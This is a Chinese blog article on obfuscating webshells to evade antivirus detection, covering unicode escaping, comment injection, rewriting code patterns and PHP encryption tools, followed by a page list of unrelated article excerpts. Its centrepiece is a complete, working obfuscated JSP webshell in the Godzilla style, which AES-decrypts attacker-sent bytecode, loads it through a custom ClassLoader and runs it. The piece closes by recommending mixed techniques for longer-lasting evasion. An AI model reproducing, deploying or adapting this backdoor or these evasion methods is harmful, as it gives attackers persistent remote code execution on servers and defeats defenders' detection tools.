当前位置: 首页 > news >正文

Webshell混淆免杀的一些思路

简介

为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。

混淆字符

混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jsp webshell示例。因为java是默认支持unicode编码的。

Java代码示例:

图片

然后可以上传vt查杀可以看到还是会被挺多杀软识别的。

图片

现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。

图片

图片

利用注释

利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。

Java示例:

图片

然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。

图片

图片

值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用String s = "/*"; code...; String ss = "*/"; code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */ 中间的值认为是注释内容从而匹配恶意代码失败。

改变代码特征

改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替if else,用一些代替写法比如java中的int类型1 可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加任意无用垃圾代码等。

部分代码截图:

图片

图片

可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。

全部代码:

<%@ page import="java.io.InputStream" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.io.IOException" %><%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";class Register extends ClassLoader {public Register(ClassLoader username) {super(username);}public Class Query/*\u3333*/(byte[] password) {int len = password.length;String s1 = "/*";Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);String s2 = "*/";return aClass;}}public byte[] x(byte[] s, boolean m) {// 这行代码换了个顺序byte[] bs = xc.getBytes();try {String sss = "/*";String decode = "\u0041\u0045\u0053";Cipher c = Cipher.getInstance(decode);String ccc = "*/";// if代替了原本的三元表达式int flag = 0xAFFFF;if (m) {flag = 1;} else {flag = 2;}String acaw = "/*";c.init(flag, new SecretKeySpec(bs, decode));String ANANAWU = "*/";String string1 = "/*";byte[] bytes = c.doFinal(s);String string12 = "*/";return bytes;} catch (Exception e) {return null;}}public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {// 添加注释/*o.equls(null)*/int x = 10;int y = 20;// 这里有一些毫无意义的操作x = (x + y) * 2;y = x - y;String meaninglessString = "Hello, this is a meaningless string.";if (x > y) {x = x * 2;} else {y = y * 2;}String sss = "/*";o./*o.equls(null)*/equals/*o.equls(null)*/(bos);String ccc = "*/";o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);String ac = "//";o.toString/*o.equls(null)*/();}public void run2(byte[] data_bytes, HttpSession session) {String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";Register REG = new Register(this.getClass().getClassLoader());Class cs = REG.Query(data_bytes);session.setAttribute(py, cs);}public Object os_return(HttpSession session) {String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";return  session.getAttribute(py);}public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {byte[] x = x(bos.toByteArray(), true);os.write(x);}public void setAttribute(HttpServletRequest request, String key, Object value) {request.setAttribute(key, value);}public ByteArrayOutputStream getBos() {ByteArrayOutputStream arrOut = null;arrOut = new ByteArrayOutputStream();return arrOut;}
%><%try {String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";int length = Integer.valueOf/*o.equls(null)*/(header);byte[] data_bytes = new byte[/*o.equls(null)*/length];InputStream is = request.getInputStream();// for循环替代了while循环for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));// 原本的false变成了 !truedata_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);OutputStream os = response.getOutputStream();ByteArrayOutputStream bos = getBos();boolean flag = session.getAttribute(py) == null;if (flag) {run2(data_bytes, session);} else {setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);String s = "/*";Class cs = (Class) os_return(session);String c = "*/";Object f = (cs).newInstance();run(f, bos, pageContext);/* 垃圾代码 */int a = 10;int b = 20;for (int i = 0; i < 5; i++) {a += b;b -= a;}String meaninglessString = "This is a meaningless string.";int[] numbers = {1, 2, 3, 4, 5};for (int num : numbers) {if (num % 2 == 0) {// 不执行任何操作} else {// 不执行任何操作}}/* 垃圾代码 */pull(bos, os);}} catch (Exception e) {}
%>

免杀效果:

图片

图片

Ps: 以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。

利用代码加密工具

上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。

比如随便找一些php在线混淆哥斯拉的webshell

图片

链接也是没有问题的

图片

虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。

图片

经过3次混淆的phpwebshell,反正我是认不出来了。

图片

图片

类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。

图片

总结

文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。

相关文章:

Webshell混淆免杀的一些思路

简介 为了避免被杀软检测到&#xff0c;黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路&#xff0c;帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段&#xff0c;使其在静态分析阶段难以被杀毒软件或安…...

MacBook macOs安装RabbitMQ【超详细图解】

目录 一、使用brew安装RabbitMQ 二、安装RabbitMQWeb管理界面 三、启动RabbitMQ 一、使用brew安装RabbitMQ 刚好项目要用到RabbitMQ&#xff0c;安装顺便写下安装步骤记录一下以备用 使用brew命令安装&#xff0c;一般Mac会自带这个命令&#xff0c;如没有&#xff0c;…...

基于格攻击的密钥恢复方法

本篇博文介绍针对椭圆曲线签名算法的基于格攻击的密钥恢复方法&#xff0c;本研究将这种方法应用于椭圆曲线签名算法。针对椭圆曲线算法的攻击研究一般主要集中于算法的两个运算阶段&#xff0c;即标量乘阶段和组合阶段。对于椭圆曲线签名算法&#xff0c;针对标量乘阶段的攻击…...

Redis中的缓存穿透、雪崩、击穿(详细)

目录 一、概念 1. 缓存穿透&#xff08;Cache Penetration&#xff09; 解决方案&#xff1a; 2. 缓存雪崩&#xff08;Cache Avalanche&#xff09; 解决方案&#xff1a; 3. 缓存击穿&#xff08;Cache Breakdown&#xff09; 解决方案&#xff1a; 二、三者出现的根本原…...

iframe

iframe学习 1.iframe是什么&#xff1f; a)iframe是html元素&#xff0c;用于在网页中内嵌另一个网页。 b)iframe默认有一个宽高,存在边界。 c)iframe是一个行内块级元素&#xff0c;可以通过display修改。 2.iframe元素属性有哪些&#xff1f; a)src : 指定内联网页的地…...

rust 基本数据类型

Rust 是 静态类型&#xff08;statically typed&#xff09;语言&#xff0c;也就是说在编译时就必须知道所有变量的类型&#xff0c;基本类型如下 整型 整数 是一个没有小数部分的数字长度有符号无符号8-biti8u816-biti16u1632-biti32u3264-biti64u64128-biti128u128archisi…...

centos7中通过kubeadmin安装k8s集群

k8s部署官方提供了kind、minikube、kubeadmin等多种安装方式。 其中minikube安装在之前的文章中已经介绍过&#xff0c;部署比较简单。下面介绍通过kubeadmin部署k8s集群。 生产中提供了多种高可用方案&#xff1a; k8s官方文档 本文安装的是1.28.0版本。 建议去认真阅读一下…...

普中STM32 单片机资料

普中科技–各型号开发板资料下载链接: ①普中-精灵1开发板: 百度网盘链接:https://pan.baidu.com/s/1Pa8Ep1xmg6uoq17O6Nwyyw?pwd=1234 提取码:1234 ②普中-ESP32开发板: 百度网盘链接:https://pan.baidu.com/s/16VthcbW27oEWp162H3bi6Q?pwd=1234 提取码:1234 一…...

docker报错

安装 docker报错&#xff1a; Docker Desktop requires the Server service to be enabled. 解决方法&#xff1a; 管理员身份打开cmd&#xff0c;输入&#xff1a; services.msc开启 server 服务。 docker启动报错&#xff1a; 打开 docker 界面报错&#xff1a; Docke…...

pytest分布式执行(pytest-xdist)

前言 平常我们手工测试用例非常多时&#xff0c;比如有1千条用例&#xff0c;假设每个用例执行需要1分钟。如果一个测试人员执行需要1000分钟才能执行完&#xff0c;当项目非常紧急的时候&#xff0c;我们会用测试人力成本换取时间成本&#xff0c;这个时候多找个小伙伴把任务…...

spring和springBoot

Spring和Spring Boot小结 Spring和Spring Boot基于IOC AOP理念实现&#xff0c;Spring Boot集成了Spring。Spring框架&#xff1a; Spring框架解决了企业级的开发的复杂性&#xff0c;它是一个容器框架&#xff0c;用于装java对象&#xff08;Bean&#xff09;&#xff0c;使程…...

laraval6.0 GatewayWorker 交互通信

laravel 6.0 GatewayWorker 通讯 开发前准备下载 GatewayWorker 及操作方式前端demo测试效果项目中安装GatewayClient 开发前准备 GatewayClient 官网&#xff1a;https://www.workerman.net/ 当前使用的是宝塔操作 下载 GatewayWorker 及操作方式 前端demo 测试效果 项目中安…...

循环神经网络RNN

1. 背景 RNN(Recurrent Neural Networks) CNN利用输入中的空间几何结构信息&#xff1b;RNN利用输入数据的序列化特性。 2. SimpleRNN单元 传统多层感知机网络假设所有的输入数据之间相互独立&#xff0c;但这对于序列化数据是不成立的。RNN单元用隐藏状态或记忆引入这种依赖…...

为什么预处理对象会提升处理的性能

Hi i,m JinXiang ⭐ 前言 ⭐ 本篇文章主要环绕 “预处理对象会提升处理的性能” 这个问题做出解答以及关于预处理部分理论知识 &#x1f349;欢迎点赞 &#x1f44d; 收藏 ⭐留言评论 &#x1f4dd;私信必回哟&#x1f601; &#x1f349;博主收将持续更新学习记录获&#xff…...

智能超声波雾化器pcba方案

一、超声波雾化器方案工作原理 超声波雾化器是一款基于电路板的振荡信号被大功率三极管进行能量放大&#xff0c;传递给压电陶瓷片&#xff0c;当压电陶瓷片受电信号的激励&#xff0c;产生高频谐振&#xff0c;并使吸附在微孔膜上的液体结产生超声振荡&#xff0c;将液体的结构…...

Git分支合并导致文件异常

昨天合并分支后&#xff0c;突然出现了项目中全部的文件出现异常。 先说结论&#xff1a;合并导致文件冲突处理异常&#xff0c;Git lfs 异常 解决方式&#xff1a;CMD 中执行 git lfs install git lfs pull。 合并分支后&#xff0c;发现项目中全部的png异常&#xff0c;编译a…...

Linux(11):Linux 账号管理与 ACL 权限设定

Linux 的账号与群组 每个登入的使用者至少都会取得两个 ID&#xff0c;一个是使用者 ID(User ID &#xff0c;简称UID)、一个是群组ID (Group ID &#xff0c;简称GID)。 Linux系统上面的用户如果需要登入主机以取得 shell 的环境来工作时&#xff0c;他需要如何进行呢? 首先…...

AMEYA360:村田首款1608M尺寸/100V静电容量1µF的MLCC实现商品化

株式会社村田制作所成功开发了用于基站、服务器和数据中心48V线路的多层陶瓷电容器“GRM188D72A105KE01”并已量产。该产品在1608M(1.60.8mm)尺寸、100V的额定电压下可实现1μF的超大静电容量(村田调查数据&#xff0c;截至2023年11月20日)。目前可向村田申请免费样品。 随着5G…...

简易键值对文本解析

除了json,xml,protobuf等成体系的配置文件外&#xff0c;简单的文本格式“key value”的配置文件也在很多开源项目中存在&#xff0c;这种配置文件的好处是简单、易于理解和编辑。 #include <stdio.h> #include <string.h>#define MAX_LINE_LENGTH 1024void Parse…...

成为AI产品经理——模型评估(混淆矩阵)

一、混淆矩阵 1.混淆矩阵的介绍 混淆矩阵有两个定义positive&#xff08;正例&#xff09;和negative&#xff08;反例&#xff09;。分别代表模型结果的好和坏。 下图就是一个分类问题的混淆矩阵。横行代表真实的情况&#xff0c;而竖行代表预测的结果。 为了便于理解&…...

浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义&#xff08;Task Definition&…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…...

web vue 项目 Docker化部署

Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段&#xff1a; 构建阶段&#xff08;Build Stage&#xff09;&#xff1a…...

React Native在HarmonyOS 5.0阅读类应用开发中的实践

一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强&#xff0c;React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 &#xff08;1&#xff09;使用React Native…...

家政维修平台实战20:权限设计

目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系&#xff0c;主要是分成几个表&#xff0c;用户表我们是记录用户的基础信息&#xff0c;包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题&#xff0c;不同的角色&#xf…...

Python实现prophet 理论及参数优化

文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候&#xff0c;写过一篇简单实现&#xff0c;后期随着对该模型的深入研究&#xff0c;本次记录涉及到prophet 的公式以及参数调优&#xff0c;从公式可以更直观…...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装

以下是基于 vant-ui&#xff08;适配 Vue2 版本 &#xff09;实现截图中照片上传预览、删除功能&#xff0c;并封装成可复用组件的完整代码&#xff0c;包含样式和逻辑实现&#xff0c;可直接在 Vue2 项目中使用&#xff1a; 1. 封装的图片上传组件 ImageUploader.vue <te…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及&#xff0c;充电桩作为核心配套设施&#xff0c;其安全性与可靠性备受关注。然而&#xff0c;在高温、高负荷运行环境下&#xff0c;充电桩的散热问题与消防安全隐患日益凸显&#xff0c;成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解

本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...